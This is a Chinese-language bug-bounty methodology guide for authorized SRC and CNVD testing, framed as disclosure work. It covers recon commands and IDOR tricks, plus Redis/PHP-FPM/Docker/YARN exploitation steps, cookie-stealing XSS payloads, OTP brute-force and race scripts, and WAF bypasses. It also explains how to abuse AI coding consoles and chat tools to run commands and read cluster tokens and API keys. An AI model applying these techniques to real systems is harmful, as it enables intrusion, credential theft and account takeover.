从资产闭环到证据链:CNVD 与 SRC 漏洞挖掘手法与技巧详解

上一篇讲了总体思路,这篇把「手法」摊开写细。所有内容都在已授权的企业 SRC、CNVD 报送或自建靶场语境下使用;不接受未授权测试,具体平台的报送规则以官方页面为准。

一个反复被验证的结论是:高价值漏洞很少来自「模板扫一遍」,而是来自下面这条链路的某一环被走通:

资产 → 入口 → 对象/权限关系 → 数据流或调用链 → 安全边界 → 实际影响 → 证据 → 报告

下面按这条链路,逐段给出可落地的手法、判据和假点。


一、总纲:三种判据,决定一条线索值不值得报

挖洞时会遇到大量「看起来像」的点。真正决定能不能提交的,是三类判据:

  1. 可达性:外部输入到底有没有进入危险处理链?中间有没有被过滤、被前端拦、被网关吞掉?
  2. 权限边界:后端到底依据什么授权——用户 ID、租户 ID、角色、资源归属,还是仅仅相信了请求里传来的字段?
  3. 影响可证:能否稳定复现,影响是「能读一份别人的数据」还是「能改状态 / 能出网 / 能拿凭据」,两者定级完全不同。

判断一个点是真洞还是假点,最有效的方法是做对照:

  • 对照接口行为:不带某参数 / 不带某 Header / 不带会话,结果是否明显不同。
  • 对照对象归属:换成别人的 ID,响应内容、长度、字段是否跟着变。
  • 对照公开面:公开搜索 / 公开橱窗里查不到的东西,在未授权口里出现了,才算数。

没有对照,只有「返回了 200」或「页面不一样」,一律当候选,不写报告。


二、资产与入口:一种子一闭环

2.1 节奏比工具重要

常见错误是一次性把几十个种子全丢给 FOFA,然后对着几千条结果发呆。更稳的节奏是:

  1. 起手先落一份种子队列:用户给的目标词 + 业务/品牌名 + SRC 范围域 + 全资子公司域,多列几条,别只有一条。
  2. 挑一个种子,搜它的资产 → 去重 → 去废(灰度测试、占位页、纯 CDN)→ 去非存活。
  3. 把剩下的活面逐个建功能清单,一个一个挖完。
  4. 这个种子活面挖完,才标完成,再搜下一个种子。

好处是每一条结论都能回溯到具体域名、页面、接口和结果,不会「搜了一堆但一个都没打穿」。

2.2 FOFA 最短语法

qbase64:查询语句 UTF-8 再 Base64
fields:host,ip,port,title,server
size:先小后翻(翻的是同一个种子,不是换种子)

domain="target.com"
header="application/json"
body="actuator"
port="8080"
server="nginx" && domain="target.com"
cert.subject="品牌"
icon_hash="xxx"
status_code="200"
组合用 && ;排除用 !=

几个高 ROI 的组合:

  • body="actuator" && domain="target.com":Spring Boot 暴露面。
  • header="application/json" && domain="target.com":前后端分离的 API 网关。
  • cert.subject="品牌名":按证书主体找同品牌资产,绕过域名清单。
  • icon_hash="xxx":按图标找同套系统(同一套 OA / 网关的多个部署)。

2.3 资产细节:子域、指纹、虚拟主机

# 证书透明日志找子域
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u

# 存活 + 指纹
cat subdomains.txt | httpx -title -tech-detect -status-code -o live_hosts.txt

# 虚拟主机发现(同一个 IP 上靠 Host 区分站点)
ffuf -w wordlist.txt -u https://target.com -H "Host: FUZZ.target.com" -mc 200,301,403

指纹主要看:Server / X-Powered-By / Cookie 名(PHPSESSID=PHP、JSESSIONID=Java)/ HTML 注释 / meta generator / 前端框架文件名。指纹决定后面开哪本测试模块,不做无差别全跑。

2.4 遇到登录页怎么处置

打开就是登录页,不等于「这个资产没东西」。正确顺序:

  1. 先判断当前 host 是不是统一认证入口,业务面是否在同一 host 的其它 path或跳转后的 host / 网关。
  2. 没有会话时,先挖未登录可见的公开面(公开搜索、公开详情、文档、列表 JSON)。
  3. 登录表单能一眼打通或证伪就停;繁琐验证码 / 别人的身份页不要耗。
  4. 清单里如果有发会话、重置、改绑、换票类入口,按认证链去打(见第九节)。
  5. 一旦拿到合法会话,立刻转「对象图 / 换 id」(见第四节),不要再对着引号里的参数打转。

反面教材:看到 401/403 就反复磨登录 HTML。正确做法是分清——是登录页(找业务面),还是业务 API 的 401/403(现场改 path / METHOD / 头自己打)。


三、JS 逆向:不只抽 path,要抽「钥匙」

JS 逆向的价值不在「找到 /api/xxx」,而在于找到能让你构造任意请求的东西。进站时按顺序抽这几类:

  • 路由、API 前缀、请求方式;
  • 盐值 / 签名密钥 / HMAC 逻辑(sign、_token、x-sign);
  • 密文 id 的加密公钥 / 算法(modulus、RSA);
  • hidden / admin 路由、webpack 异步 chunk;
  • 写死的演示号 / 测试租户 / 默认账号(这些是「钥匙」,不是登录框字典)。

3.1 批量抽接口

for url in $(cat js_files.txt); do
  curl -s "$url" | grep -oP '"(/api/[^"]+)"' | tr -d '"'
done | sort -u > discovered_apis.txt

# 关键词过滤
grep -E "(userId|uid|token|sign|order|payment)" discovered_apis.txt
# webpack chunk 里的隐藏路由
grep -oP 'path:\s*["\x27][^"'\'']+' all_js.txt
grep -oP 'baseURL:\s*["\x27][^"'\'']+' all_js.txt
grep -oP '"(/[a-z]+){1,5}"' all_js.txt | sort -u | grep -v node_modules

3.2 加密参数:断点定位 → 复现

请求里带 sign / x-sign 时,用断点定位签名函数:

1. break_on_xhr("/api/target-endpoint")
2. 页面触发操作,暂停后看调用栈
3. 定位到 signRequest / sign 一类函数,读源码

常见的三种签名模式:

// 模式1:参数排序 + MD5
const sorted = Object.keys(params).sort().map(k => `${k}=${params[k]}`).join('&');
return md5(sorted + SECRET_KEY);

// 模式2:timestamp + nonce + HMAC
return hmacSha256(ts + nonce + JSON.stringify(data), APP_SECRET);

// 模式3:固定 salt 拼接
const sign = md5(userId + ':' + timestamp + ':' + SALT);

在浏览器里直接调用页面函数拿到参考值,再用 Python 复现并比对:

import hashlib, hmac, time, random, string

def sign_request(params: dict, secret_key: str) -> str:
    sorted_str = '&'.join(f"{k}={params[k]}" for k in sorted(params.keys()))
    return hashlib.md5((sorted_str + secret_key).encode()).hexdigest()

def sign_hmac(data: str, app_secret: str) -> str:
    ts = str(int(time.time() * 1000))
    nonce = ''.join(random.choices(string.ascii_lowercase, k=8))
    return hmac.new(app_secret.encode(), (ts + nonce + data).encode(), hashlib.sha256).hexdigest()

签名能离线复现,意味着一整类「前端限制」失效——你可以构造任意 userId、任意金额、任意对象 ID 的请求,越权和逻辑漏洞的可用面会成倍放大。

3.3 JS 里还会漏什么

grep -oE "192\.168\.[0-9]{1,3}\.[0-9]{1,3}" *.js     # 内网地址
grep -oE "10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" *.js
grep -oE "172\.(1[6-9]|2[0-9]|3[01])\.[0-9]{1,3}\.[0-9]{1,3}" *.js

写死的 AK/SK、测试环境域名、内部管理路径、隐藏的 GraphQL 端点,都属于高价值线索。


四、越权 / IDOR:先读差分,写操作先加后清

越权是 SRC 里产出最多、也最容易误报的一类。

4.1 找标识参数

URL 路径:   /api/user/12345/info
URL 参数:   ?userId=12345&orderId=ABC
请求体:     {"uid": 12345, "target_id": "user_abc"}
响应体中:   {"id": 12345, "created_by": 67890}   ← 收集这些 ID

高价值接口特征:路径含 user / account / profile / order / bill / message;响应里带手机号、邮箱、真实姓名、身份证;方法含 update / edit / delete / change。

4.2 读差分(默认手段)

# A 的 token 去访问 B 的资源
r1 = requests.get("https://target.com/api/user/info",
                  params={"userId": "A的ID"}, headers={"Authorization": token_a})
r2 = requests.get("https://target.com/api/user/info",
                  params={"userId": "B的用户ID"}, headers={"Authorization": token_a})
# r2 成功返回 B 的数据 → 水平越权

判据不是状态码,而是响应里的对象归属:姓名、手机、订单号、文件是否变成了别人的。

4.3 没有第二个账号也能打

不必为了凑第二个账号去磨注册。可用:

  • 列表 / 回包 / 导出里别人真实出现的 ID;
  • 邻号枚举:±1、±10、0、-1、999999;
  • 哨兵值:0 / -1 / 空 / 不传。很多系统在「正常 ID 被拦」后,对哨兵值反而返回全量或他人数据。

4.4 常见绕过

# 参数污染
?userId=A_ID&userId=B_ID            # 有的框架取最后一个
body userId=A_ID + url ?userId=B_ID  # 有的校验 body,有的用 url

# 路径遍历
/api/user/A_ID/orders  →  /api/user/B_ID/orders
/api/user/A_ID/..%2fB_ID/orders

# 未授权
去掉 Authorization 头 / 换成 invalid_token 直接请求

4.5 写越权:先加后清(最小伤害)

写越权要测,但不是对着别人已有的数据改删。顺序是:

  1. 先测添加:用自己的号(或未登录)调创建口,看能不能把新对象挂到别人名下 / 别人店 / 别人租户。成功即证写越权。
  2. 再删自己刚加的那一条:用同一条接口或对应删除口清掉,不留脏数据。
  3. 不要改别人已有订单、密码、角色,不要删别人原来的地址 / 券 / 商品。
  4. 现场只有改/删现成对象的入口时:只改一个自己能改回去的测试字段,打一次就停。
  5. 涉及改密 / 改角色 / 改绑:可探(拿掉旧验证看是否通过),过了立刻改回;改不回就停在回包,不要把别人的密、角色、邮箱留下。
  6. 扣钱、清库存、真转资金不做。禁止批量。

五、未授权敏感读与信息泄露:那些「看起来没口」其实有口

这类点是国内目标里很好出成绩的一块,也是最容易「以为没洞」的地方。

5.1 结构化接口

# 分页越界拿全量
?page=99999&pageSize=1000
?offset=0&limit=99999

# 导出接口不限量
/api/export/users?format=csv
/api/export/orders?startTime=2020-01-01&endTime=2026-01-01

# 搜索接口通配符
?keyword=%      # URL 编码的 %,SQL LIKE 通配
?keyword=*
?q=             # 空搜索返回全部

# GraphQL 自省
curl -X POST "https://target.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name fields { name } } } }"}'

5.2 「别停」清单(关键手法)

很多点不是没有,而是你停早了。以下每一条都是「表面像没口,换一步就出东西」:

  1. 详情口 id 是密文时,去 JS 找公钥 / 算法,自己加密别人的 ID。
  2. 证照图 / 扫描件:详情返回商标证、执照图片就打开看,注册人行常把身份证号拼在姓名后面。
  3. 导出任务 pageNum=0 为空:改 pageNum=1,常出全站别人的导出;抄 fileName / key 打 download。
  4. 手机字段打码:未发布详情的 requirement / 备注 / 自由文本里常把完整 11 位手机写进去,结构化字段被剥离了但正文没处理。
  5. 目录页写「访客请登录」:同站 search API(Keyword + Page + PageSize)未登录仍可能出内部文档正文和详情 URL。
  6. 详情口已补 / 项目不存在:同站 visit-log / 埋点口只要数字篇号,仍可能出 OA / 内部全文。
  7. 内容预览口只吃数字 contentId:回包 isDelete=1 / 已删除 / 未发布也别停,对照公开橱窗应查不到。出整页 H5 或编辑器 JSON 才算数,只出标题不算。
  8. 收集表 / 问卷填报页:填报页只是题目,答卷表可能另有一个 id,不登录打答卷表详情,常出身份证 / 手机单元格。

算成:未公开业务正文从列表出来(不是公开橱窗标题),或他人主体手机 / 证件,或证照图上印着的身份证号。 假点:加了可见性参仍只出公开稿;只有标题没有正文;列表 401 就当没洞;空数组和缺参出的是同一份上架稿。

5.3 中间件暴露面(见了才打)

见什么 打哪 出什么算成
:6379 Redis 无密码 PING→PONG 写 webshell / crontab / authorized_keys(目录得是真 web 根) 命令跑起来,或读到业务库
:873 rsync 匿名可列模块 下业务文件;模块可写再看能否写 cron 拉到密钥 / 业务数据
:9000 PHP-FPM 直接暴露 FastCGI 包打已有 .php(PHP_VALUE=auto_prepend_file=php://input) 指定 PHP 被执行
:8009 AJP Ghostcat 读 /WEB-INF/web.xml 读到 web.xml / class
:8088 Hadoop YARN UI POST /ws/v1/cluster/apps/new-application 提交带 commands 的 app 集群里跑了你的命令
:2375 Docker API GET /v1.24/containers/json;能 create 再挂 /:/host 列出容器或读到宿主机文件
/h2-console JDBC URL JNDI 或 CREATE ALIAS 命令跑起来

公网直连和 SSRF 打内网是同一套 sink,差别只是入口。没有这些端口不要为了这张表去全端口扫。


六、注入 / SSRF / XSS:先建基线,再做差分

6.1 通用差分法

  1. 先发正常请求,记录基线(状态码、长度、耗时、关键字)。
  2. 再发带影响语义的请求,比对差异。
  3. 确认是「WAF 拦」还是「应用拒绝」还是「逻辑没走到」。
  4. 每次只改一个变量,保留前后响应。

注入:比较参数进入查询、排序、过滤、模板后的行为差异,确认可控范围。 SSRF:确认请求是否由服务端发起、能访问什么范围、响应是否可回显;不要以单次超时下结论。 XSS:区分反射/存储/DOM,结合真实输出上下文判断是否可执行,而不是看字符串是否原样返回。

6.2 XSS 证明方式(SRC 要求)

不要用 alert(1) 证明危害,用能证明影响的载荷:

alert(document.cookie)                                    // 能读 Cookie
alert(localStorage.getItem('token') || sessionStorage.getItem('token'))  // 能读 token
alert(document.domain)                                     // 证明不是 self-xss

内联事件作用域里 cookie = document.cookie,URL = document.URL,可写成 a=alert,a(cookie)。

冷门自动事件(onerror / onload 被剥时用,标签名可以随便):

<c2xh oncontentvisibilityautostatechange=a=alert,a(cookie) style=display:block;content-visibility:auto>
<input style=content-visibility:auto oncontentvisibilityautostatechange="alert(1)">
<button popovertarget=x>Click me</button><c2xl onbeforetoggle=a=alert,a(URL) popover id=x>Go</c2xl>

6.3 XSS → RCE 的两条升级链(企业客户端)

  • 企业 Git + 桌面客户端:README / 议题 / MR 描述能写 HTML → 当存储型 XSS 打进客户端 → 若客户端暴露了桥(process / require)再升 RCE。
  • Electron / CEF 自定义协议:协议参数有 url / urlType / open / openUrl / webview 时,协议里填自己的页面;页面上先探 process / require / window.require,有就执行命令,不要只认 Electron 10 的 remote。

算成:客户端里真的执行了你指定的无害命令。 假点:只在浏览器弹窗;客户端不渲染或沙箱死了——停在存储 XSS,不要写成 RCE。


七、文件上传与对象存储:签名和策略是重灾区

对象存储相关的手法是近年国内 SRC 的高产区,核心是「签名 / 策略没绑死」。

认什么 打哪 出什么算成
先申 STS,key 是文件 md5,或 assumerole 的 filename / Action 进 Policy 凭证字段填 * / 空 / /,Policy 里 filename / Action 通配;List/Delete 403 别停,换匿名票再打 对方文档被你覆盖,或能列出并删别人的 key
网关把对象存储代理成 /api/storage/sign,query 吃 key 不登录 GET ?key=/ 拿 ListBucket XML,再 GET 列表里的业务前缀 列出并读到他人未公开对象原文
站点图 / 指南挂在桶上,?policy 全 Allow 无密钥 LIST,再 PUT 覆盖官方对象 官方指南 / 协议变成你传的
带签 URL 的 SignedHeaders 里没有 host 域名换成同账号另一个桶,加 ?uploads 做分片列举 列出或读到别的桶里的对象
对象内容你可控,Content-Type 被卡死,有临时钥或预签名 再签一枪,签进 response-content-type=text/html 用签过的 URL 打开,浏览器当 HTML 跑(存储 XSS)

假点:* 只到废桶;覆盖 403;只能盖自己前缀;只能下自己刚传的;猜不到别人 key;CDN 不刷新看起来没被覆盖。


八、业务逻辑与竞态:状态机、金额、次数、归属

8.1 支付与优惠

# 价格篡改
POST /api/order/create
{"goodsId":"123","count":1,"price":"0.01"}   # 改单价

# 负数价格 / 负数积分
{"goodsId":"123","count":1,"price":"-100"}
{"points": -1000}                              # 期望余额增加

# 整数溢出
{"count": 2147483647}

8.2 商家促销绑定(B 端典型)

本质:商家后台的「把券绑到某件货」接口只信请求里的 productId,不校验这件货是不是本店的。

  1. 用本店号建一张规则狠的券(无门槛、面值大)。
  2. 正常绑一次自己的货,抓住绑定请求。
  3. 只改 productId 成别人店、别的品类的货;券 ID 不动。
  4. 打开 C 端那件货的详情 / 下单页,看标价和应付。

算成:C 端别人那件货的应付价按你这张券掉下来。 假点:绑定接口 200 但 C 端价不变;只绑得动自己的货。

8.3 竞态(并发)

import threading, requests

def consume():
    r = requests.post("https://target.com/api/pay",
        headers={"Authorization": f"Bearer {TOKEN}"}, json={"amount": 100})
    print(r.json())

# 余额 100,同时发 10 次 100
threads = [threading.Thread(target=consume) for _ in range(10)]
[t.start() for t in threads]; [t.join() for t in threads]

优惠券、积分、库存、领取次数、重复提交都属于同一类:先看有没有幂等和乐观锁,再决定要不要并发。

8.4 验证码 / 短信 / 接管

# 验证码可枚举
for code in range(0, 10000):
    r = requests.post("https://target.com/api/verify",
        json={"phone": "13800138000", "code": f"{code:04d}"})
    if r.json().get("code") == 0:
        print(code); break

万能码可试 000000 / 123456 / 888888 / 空值 / 不发码直接提交。

  • 密码找回越权:发起找回 A → 拿到 token → 把请求里的 phone 改成 B → 若能改 B 的密码即任意重置。
  • 接管:号码注销后重新分配;改绑时验证码发到旧号。
  • 只证明能发码不算打穿:要走到「码回显 + 登录」「万能码 + 登录」「爆破 + 改密」才算闭环。

8.5 业务逻辑绕过

# 状态机:正常 1→2→3,尝试跳过 2 直接 3,或回退到 1 但保留 3 的结果
# 测试用参数:debug=true / test=1 / internal=1 / is_admin=true / role=admin / bypass_check=1

账号枚举:注册 / 登录接口对「用户不存在」和「密码错误」返回不同,即可枚举。


九、认证与会话:发会话、重置、改绑、换票

认证链的手法集中在四个动作上:

  • 发会话:二维码登录 / 运营配置深链里带着能当会话用的 token;不登录拿 token,带着 token 打开带会话的 URL。
  • 重置:找回密码流程里换手机号 / 换 token 归属。
  • 改绑:换绑手机 / 邮箱时校验旧值还是新值,验证码发到哪一端。
  • 换票:登录 / OAuth 回调里把 code / ticket / state 换给别人。

判据都是「对照」:不带这串 token 应该登录过期,带了就变成对方身份(me 接口返回别人的手机 / 角色)。

JWT / OAuth / SAML 的重点放在:算法混淆(alg:none / HS256 对称密钥)、kid 注入、jku / x5u 指向自有密钥、重放与有效期、SAML 签名剥离。

红线:拿到用户会话后,严禁调用登出 / 注销 / 吊销令牌接口,也不要拿「退出后会话是否仍有效」当测试目标——会话断了复现就没了。改密 / 改绑过了立刻改回。


十、WAF 绕过:有差分面之后再动手

WAF 绕过不是开场动作。顺序是:先确认参数确实进入目标处理链 → 观察是 WAF 拦截还是应用拒绝 → 确认存在可利用差分面 → 再换编码 / 位置 / 结构。每次只改一个变量。

10.1 先识别 WAF

wafw00f target.com
curl -sI https://target.com | grep -i "server\|cf-ray\|x-sucuri\|x-akamai\|x-cache"

行为指纹:发正常请求记录基线,再发明显攻击请求,比对状态码 / 拦截页内容 / 连接重置;拦截页文案常直接暴露厂商(Cloudflare / Imperva / ModSecurity)。

10.2 通用绕过类别

类别 示例 绕的是什么
URL 编码 %3Cscript%3E 基础字符串匹配
双重编码 %253Cscript%253E WAF 解一次、应用解两次
Unicode %u003Cscript%u003E IIS 归一化
HTML 实体 &#60;script&#62; 不做实体解码的 WAF
十六进制(SQL) 0x756E696F6E = union 匹配 SQL 关键字的 WAF
混合大小写 SeLeCt / uNiOn 大小写敏感规则
空字节 sel%00ect 在 null 处停止解析的 WAF

分块传输:把载荷拆到多个 chunk,使任一 chunk 都不含被拦特征(WAF 若不重组 body 就绕过)。

HTTP/2:头部是二进制 HPACK 帧,部分 WAF 只在降级到 HTTP/1.1 后检查;伪首部(:method / :path)常绕过基于头的规则,H2→H1 降级还可能引入走私。

参数污染 HPP:同一参数重复提交,不同服务器取值不同(PHP 取最后一个、ASP.NET 拼接、Flask 取第一个、Node 成数组)。?a=sel&a=ect 在 ASP.NET 下可能拼成 select。

IP 欺骗头:X-Forwarded-For / X-Real-IP / True-Client-IP / Forwarded 填 127.0.0.1,针对按来源 IP 分规则集的 WAF。

路径归一化:/./admin、//admin、/%61dmin、/admin%00.jpg、/admin.、/admin;jsessionid=x——让 WAF 看到的路径和应用解析出的路径不一致。

Content-Type 切换:WAF 常按格式选解析器,换 Content-Type 可能换到规则更弱的解析路径。


十一、新面:AI 编程台与对话口工具执行

这是近两年新增的高价值面,注意别和「提示词越狱」混为一谈。

11.1 云 IDE / Codex 系编程台 RPC 链

认:公网编程台有 /tenant-api/login + /codex-api/rpc(租户登录 + Codex RPC)。

一句话链路:

弱口令/未授权登录 → 租户会话
  → POST /codex-api/rpc method=command/exec(root)
  → env / fs 读集群 SA + 模型 API Key + 邀请码
# 指纹
curl -sk -X POST "https://HOST/tenant-api/login" -H "Content-Type: application/json" \
  -d '{"username":"x","password":"y"}'
curl -sk -X POST "https://HOST/codex-api/rpc" -H "Content-Type: application/json" \
  -d '{"method":"meta/methods","params":{}}'   # 无 Cookie 也看错误形态

# 登录后
-d '{"method":"command/exec","params":{"command":["id"]}}'
-d '{"method":"fs/readFile","params":{"path":"/etc/os-release"}}'
-d '{"method":"command/exec","params":{"command":["cat","/var/run/secrets/kubernetes.io/serviceaccount/token"]}}'

危险方法:command/exec、fs/readFile|writeFile|remove|readDirectory、meta/methods、thread/start、model/list。

危害证据优先级:id → uid=0(root);hostname 像持久计算面 Pod;模型 *_API_KEY;KUBERNETES_SERVICE_HOST + 可读 SA token。 假点:通配符证书的临时实例随时销毁;只登录但没有 RPC;模型只口头说执行了。

11.2 对话口工具真执行

认:身份口(whoami / profile)回 401,但同一套前端的对话口(/chat / createTask)不带 Cookie 仍接;且工具列表里有会跑命令的工具(bash / shell / code_interpreter / python / execute,名字不封闭)。

打(不登录):POST 对话口,让模型点名用那个工具跑 echo 标记 && id,或让它用 Python 算一串你本机也能算的 md5。不要只问「请执行」。

算成:stdout / SSE 里出现 SRC 验证台 flag、云密钥(能问出账号)、或他主体业务正文。 假点 / 停:模型只口头说执行了、数字对不上;沙箱拒命令;uid= 和本机 md5 只证明命令跑了,不算成,跟不出 flag / 云钥 / 他主体正文就证伪停。


十二、白盒审计:从「危险函数搜索」转向「可达数据流」

给源码时按 Phase 0~6 推进。

Phase 0 建立范围

确认项目版本、构建方式、关键模块、入口服务、依赖与配置。先明确审的是框架本身、业务模块,还是某条暴露接口。

Phase 1 画边界

整理 HTTP / RPC / 消息队列 / 文件 / 数据库 / 模板 / 缓存 / 任务的输入输出边界,标出认证、授权、租户隔离位置。

Phase 2 追数据流

从请求参数、Header、Cookie、上传文件、反序列化对象、外部消息出发,追到 SQL、文件路径、HTTP 客户端、命令执行、模板渲染、表达式解析、权限判断等敏感汇点。

Phase 3 看调用链与条件

不能只凭危险函数命中下结论。要确认:调用链是否可达、是否经过过滤、是否有编码差异、是否受角色/租户/状态约束、异常分支是否绕过检查。

Phase 4 最小验证

用最小输入证明根因与影响。权限问题证「谁能对谁做什么」;注入问题证「外部输入是否控制了危险语义」。不执行破坏性利用,不扩大读取范围。

Phase 5 去重与定级

同一根因导致多个入口时,按根因归并,保留代表入口和影响范围,不要把一个问题拆成很多条。区分确认事实、推测链路、未验证候选。

Phase 6 报告与修复建议

修复建议落到代码和配置:在哪里加授权、如何绑定租户、如何参数化查询、如何限制出站、如何安全解析、补什么回归测试。


十三、CNVD 与 SRC 的交付重点

维度 SRC 报告 CNVD 方向报告
关注重点 项目范围、业务影响、可复现步骤、提交质量 产品/组件、版本范围、漏洞类型、根因、修复建议
证据表达 脱敏请求响应、对象关系、前后差异、截图、影响说明 产品信息、受影响版本、通用复现条件、影响与修复方案
加分项 低噪音、验证充分、影响贴近业务、不给企业造成额外损失 组件识别准确、版本边界清楚、根因解释完整、修复建议可执行
常见问题 把前端限制当授权、只报状态码、不说明对象归属 只给工具结果、不确认版本、把猜测写成已验证事实

一份通用报告至少应包含

  1. 标题:产品/业务 + 漏洞类型;
  2. 测试范围与前置条件;
  3. 复现步骤与关键请求;
  4. 预期结果与实际结果;
  5. 影响范围与业务后果;
  6. 脱敏证据(截图、请求响应、差分结果);
  7. 根因分析;
  8. 修复建议与回归验证点;
  9. 仍未确认的边界与限制。

报告最忌三件事:把扫描器结果当结论,把缓存 / 历史页面当实时证据,把局部验证包装成全量核验。


十四、假点清单与常见坑

  • 只跑全量扫描,不看业务对象和状态机;
  • 看到登录页就换资产,没继续找业务面;
  • 看到 401/403 反复磨登录 HTML,而不判断它是不是业务 API;
  • 把前端菜单隐藏、返回 200、一个异常页面直接当漏洞;
  • WAF 还没确认拦截差分就先大量绕过;
  • 为了证明写权限去改别人既有数据;
  • 测试结束登出 / 吊销会话,破坏复现现场;
  • 用 CORS 缺头代替真实的越权 / 注入 / 业务影响;
  • 中危以上问题在清单里压很久,不落正式报告;
  • 不区分已验证、部分完成、未执行、推测。

还有一个常见误判:缓存 ≠ 实时,历史页面 ≠ 当前状态,发现 ≠ 可用。定级和结论都必须建立在当前可复现的证据上。


结语

把整篇压缩成一句话:

谁 → 在什么范围 → 通过什么入口 → 影响了什么对象 → 造成什么后果 → 如何修复

资产测绘做成闭环,JS 逆向落到「钥匙」,越权落到对象差分,上传落到签名与策略,逻辑落到状态机与并发,认证落到发会话 / 重置 / 改绑 / 换票,白盒落到可达数据流——最后所有结论都写成可复现、低伤害、可复核的证据链。这套方法比单纯堆工具更稳定,也更适合长期做 CNVD 和 SRC。

再次强调:以上手法仅限授权测试与合法漏洞研究。测试全程保持最小伤害,不做破坏性利用、不造成真实资损、不登出用户会话、不批量操作生产数据。